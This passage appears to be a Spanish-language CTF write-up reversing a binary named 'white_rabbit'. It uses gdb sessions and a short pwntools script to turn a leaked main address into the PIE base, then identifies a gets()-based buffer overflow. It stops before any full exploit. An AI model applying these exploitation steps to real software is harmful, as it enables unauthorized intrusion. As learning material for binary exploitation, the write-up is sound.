Reversing
Si ejecutamos el binario nos muestra una dirección en x64
que por ahora no sabemos que es y nos parece que espera algo, probablemente necesitemos enviar una entrada
❯ ./white_rabbit
(\_/)
( •_•)
/ > 0x6319864fd180
follow the white rabbit...
AAAAAAAABBBBBBBB
Iniciamos desensamblando el main main
, este inicia llamando a printf
mostrando en formato %p
como puntero la dirección de la función main
cargada en memoria
Podemos comprobarlo desde gdb
, corremos y comprobamos que la dirección mostrada es la del main
y pertenece al binario, si le restamos la dirección base del binario obtenemos el offset, entonces al restar 0x1180
al leak obtenemos la base
❯ gdb -q white_rabbit
Reading symbols from white_rabbit...
pwndbg> r
Starting program: /home/user/white_rabbit
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
(\_/)
( •_•)
/ > 0x555555555180
follow the white rabbit...
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d1ba61 in __GI___libc_read (fd=0, buf=0x7ffff7e03963 <_IO_2_1_stdin_+131>, nbytes=1)
pwndbg> x/i 0x555555555180
0x555555555180 <main>: push rbp
pwndbg> vmmap 0x555555555180
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/user/white_rabbit
► 0x555555555000 0x555555556000 r-xp 1000 1000 /home/user/white_rabbit +0x180
0x555555556000 0x555555557000 r--p 1000 2000 /home/user/white_rabbit
pwndbg> p/x 0x555555555180 - 0x555555554000
$1 = 0x1180
pwndbg>
Podemos automatizar todo este proceso desde un exploit en python
, recibimos la dirección y le restamos el offset para obtener la dirección base del binario
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./white_rabbit", "continue")
shell.recvuntil(b"> ")
binary_base = int(shell.recvline().strip(), 16) - 0x1180
log.info(f"Binary base: {hex(binary_base)}")
shell.interactive()
Al ejecutar el exploit nos muestra la dirección base que calculamos del binario y si la comparamos con lo que nos devuelve gdb
del proceso actual es la misma, de esta forma logramos evadir la protección PIE
que aunque esta activa deja de afectarnos
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 29067
[*] running in new terminal: ['/usr/bin/gdb', '-q', './white_rabbit']
[*] Binary base: 0x60dbb4bd2000
[*] Switching to interactive mode
follow the white rabbit...
$
^C
Program received signal SIGINT, Interrupt.
0x00007e8f3fd1ba61 in __GI___libc_read (fd=0, buf=0x7e8f3fe03963 <_IO_2_1_stdin_+131>, nbytes=1)
at ../sysdeps/unix/sysv/linux/read.c:26
pwndbg> vmmap white_rabbit
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0x60dbb4bd2000 0x60dbb4bd3000 r--p 1000 0 /home/user/white_rabbit
► 0x60dbb4bd3000 0x60dbb4bd4000 r-xp 1000 1000 /home/user/white_rabbit
► 0x60dbb4bd4000 0x60dbb4bd5000 r--p 1000 2000 /home/user/white_rabbit
► 0x60dbb4bd5000 0x60dbb4bd6000 r--p 1000 2000 /home/user/white_rabbit
► 0x60dbb4bd6000 0x60dbb4bd7000 rw-p 1000 3000 /home/user/white_rabbit
0x7e8f3fc00000 0x7e8f3fc28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
pwndbg>
Luego de todo el leak muestra un mensaje con puts
y llama a la función follow
La función follow
llama a gets
para recibir datos en un buffer en rbp - 112
, como no se controla la cantidad de datos a recibir tenemos un posible buffer overflow